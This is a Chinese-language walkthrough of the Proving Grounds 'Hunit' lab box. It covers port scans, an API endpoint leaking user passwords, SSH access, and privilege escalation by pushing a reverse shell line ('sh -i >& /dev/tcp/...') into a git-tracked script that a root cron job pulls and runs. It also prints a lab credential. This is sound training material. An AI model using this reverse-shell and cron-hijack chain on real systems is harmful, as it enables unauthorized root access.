Proving Grounds Practice : Hunit Walkthrough
Proving Grounds Practice : Hunit Walkthrough
Foothole (立足點 ) :
- 8080 網頁發現 /api 與 /api/user 查到使用者帳號與密碼
- SSH 登入拿到 shell
PE ( 提權 ) :
- 拿到另一個使用者 git 的 id_rsa 且是 git-shell
- 使用 git 相關指令寫 Reverse shell 建立連線提權成功
注意事項 :
- git-shell 的應用
Rustscan,└─$ rustscan -a 192.168.152.125 --scripts none --ulimit 5000 | tee rustscan
snmp filtered,└─$ sudo nmap -sU -p 161 192.168.152.125 | tee snmp
nmap,└─$ sudo nmap -sCV -A -p 8080,12445,18030,43022 192.168.152.125 | tee nmap
8080/tcp open http-proxy
| <title>My Haikus</title>
12445/tcp open netbios-ssn Samba smbd 4.6.2
18030/tcp open http Apache httpd 2.4.46 ((Unix))
SMB check,└─$ smbclient -L \192.168.152.125 -p 12445
查看 Commander 資料夾內容,發現一堆檔案
└─$ smbclient \\\\192.168.152.125\\Commander -p 12445
可以上傳檔案
8080 /
8080 /robots.txt
gobuster nothing
18030 /
是個打地鼠網站
18030 /robots.txt
gobuster 18030
到此沒有發現,讓我們從頭將沒有做過的枚舉開始做一次
8080 / Header
8080 / 檢視 Source Code,發現 articles 顯示路徑如下
<a href="/article/the-taste-of-rain">
存取 http://192.168.152.125:8080/article/the-taste-of-rain
Source Code 發現 /api/
開啟來看看 8080 /api/
難怪 gobuster 掃不出來,因為一定要有最後面的 /,gobuster 沒有自動 301 跳轉
8080 /api/user/
直接看到 5 個使用者帳號與密碼
其中有一個描述比較不一樣顯示他是管理者
將所有帳號與密碼存成檔案直接 hydra 測試看看,有效的憑證就是剛剛那個管理者
獲得一組帳號密碼 dademola:ExplainSlowQuest110
SSH 直接登入系統了
cat /etc/passwd
有個特別的 git 帳號,shell 是 /usr/bin/git-shell
cat /etc/crontab
沒有 crontab
find / -perm -u=s -type f 2>/dev/nul
排除 /home/dademola,沒有特殊寫入檔案
sudo -l,連 sudo 都無法執行
su git 切換使用者,測試 git 密碼失敗
pspy64,發現定期會跑 /root/pull.sh,內容會執行 git pull
/usr/lib/git-core/git fetch --update-head-ok
/bin/sh -c git-upload-pack '/git-server' git-upload-pack '/git-server'
看來現在一切都跟 git 有關,繼續枚舉在 / 底下看到一各屬於 git 身分的資料夾 git-server
內容有 HEAD 看來是 git 相關的存放資料夾
git show 看一下
git log
git show 看一下內容
標準的 diff --git A 備份與 B 備份
試試看可不可以 clone 出來,先到使用者 /home 目錄並建立一個 git
執行 git clone file://git-server/,改 git clone file:///git-server/ 成功
看一下 backups.sh 發現是一個 placeholder 檔案,根據對 git 的了解,可以推斷 /root/pull.sh 腳本(在 crontab 備份檔案中引用)將所做的變更拉到儲存庫的 master 分支。 為了測試這個理論,將嘗試將一些程式碼注入 backups.sh 腳本中,然後推送變更
繼續枚舉發現在 /home/git/.ssh 底下有 id_esa
看來所有東西都跟 git 有關但應該要先切換使用者
└─$ ssh -i id_rsa git@192.168.250.125 -p 43022
發現要密碼,嘗試了幾個簡單的沒有過
使用 ssh2john 發現沒有密碼,原來是自己愚蠢忘了改 id_rsa 的權限上上張圖有寫權限錯誤但沒注意,所以直接 sudo 給他跑下去就進去了
直接用 GIT_SSH_COMMAND 帶 id_esa 權限將整個 git0-server clone 到 kali
└─$ GIT_SSH_COMMAND='ssh -i id_rsa -p 43022' git clone git@192.168.250.125:/git-server
kali@kali:~$ cd git-server
kali@kali:~/git-server$ git config --global user.name "kali"
kali@kali:~/git-server$ git config --global user.email "kali@kali.(none)"
寫一個 Reverse Shell 回來並建立成 backups.sh
└─$ echo "sh -i >& /dev/tcp/192.168.45.248/8080 0>&1" >> backups.sh
並修改 backups.sh 可執行
推送 Git
└─$ git add -A
git push
└─$ GIT_SSH_COMMAND='ssh -i /home/kali/pg/125/id_rsa -p 43022' git push origin master
8080 Reverse Shell 進來了,whoami & id 確認是管理者
留言
張貼留言